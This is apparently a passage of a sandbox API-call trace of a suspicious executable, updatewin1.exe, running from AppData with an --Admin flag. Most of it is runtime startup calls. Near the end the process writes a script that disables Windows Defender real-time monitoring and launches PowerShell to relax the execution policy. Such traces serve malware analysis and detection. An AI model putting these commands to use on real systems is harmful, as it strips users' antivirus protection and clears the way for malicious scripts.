HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" --Admin" [0054.378] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" --Admin" [0054.378] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.378] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0054.378] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0054.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.379] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0054.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0054.379] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.380] GetLastError () returned 0x57 [0054.380] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0054.380] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0054.380] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0054.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x0b>;¢Hõ\x18", lpUsedDefaultChar=0x0) returned 256 [0054.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.380] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0054.380] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0054.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x0b>;¢Hõ\x18", lpUsedDefaultChar=0x0) returned 256 [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x5ea0d8 [0054.380] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe")) returned 0x5f [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xdc) returned 0x5ec168 [0054.380] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0054.380] GetLastError () returned 0x0 [0054.380] GetEnvironmentStringsW () returned 0x5ec250* [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xaca) returned 0x5ecd28 [0054.380] FreeEnvironmentStringsW (penv=0x5ec250) returned 1 [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x98) returned 0x5ec250 [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0x5ec2f0 [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6c) returned 0x5ec338 [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x6e) returned 0x5ec3b0 [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x78) returned 0x5d1188 [0054.380] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x62) returned 0x5ec428 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d52d8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5ec498 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0x5ea160 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1a) returned 0x5ebd18 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4a) returned 0x5ec4e8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x72) returned 0x5d1208 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5310 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d5348 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1c) returned 0x5ebd40 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd2) returned 0x5ec540 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x7c) returned 0x5ec620 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5ec6a8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3a) returned 0x5ec6e8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x90) returned 0x5ec730 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5ec7c8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5380 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5ec7f8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5ec838 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x5ec888 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5ed818 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x82) returned 0x5ec8e8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2e) returned 0x5d53b8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x5ebd68 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2c) returned 0x5d53f0 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5ec978 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x52) returned 0x5ec9d8 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x5d5428 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5ed860 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5eca38 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5eca98 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x5d5460 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x8c) returned 0x5ecac8 [0054.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ecd28 | out: hHeap=0x5c0000) returned 1 [0054.381] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x5ecb60 [0054.382] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.382] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0054.389] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0054.390] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" --Admin" [0054.390] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" --Admin", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x5ed368*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" [0054.390] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d8ec | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0054.403] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="script.ps1" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1") returned 1 [0054.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\script.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8 [0054.404] lstrcpyA (in: lpString1=0x18e0ec, lpString2="Set-MpPreference -DisableRealtimeMonitoring $true" | out: lpString1="Set-MpPreference -DisableRealtimeMonitoring $true") returned="Set-MpPreference -DisableRealtimeMonitoring $true" [0054.404] lstrlenA (lpString="Set-MpPreference -DisableRealtimeMonitoring $true") returned 49 [0054.404] WriteFile (in: hFile=0xa8, lpBuffer=0x18e0ec*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x18d8e8, lpOverlapped=0x0 | out: lpBuffer=0x18e0ec*, lpNumberOfBytesWritten=0x18d8e8*=0x31, lpOverlapped=0x0) returned 1 [0054.404] CloseHandle (hObject=0xa8) returned 1 [0054.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x5eecd8 [0054.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x5eed50 [0054.405] SetLastError (dwErrCode=0x0) [0054.405] lstrcpyW (in: lpString1=0x18d4e0, lpString2="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" | out: lpString1="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned") returned="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" [0054.405] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d498*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d488 | out: lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessInformation=0x18d488*(hProcess=0xa4, hThread=0xa8, dwProcessId=0x890, dwThreadId=0x894)) returned 1 [0054.417] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.503] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.522] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.528] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.546] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.594] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.620] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.622] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.639] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.654] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.675] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.700] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.715] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.731] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.747] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.762] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.793] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.809] 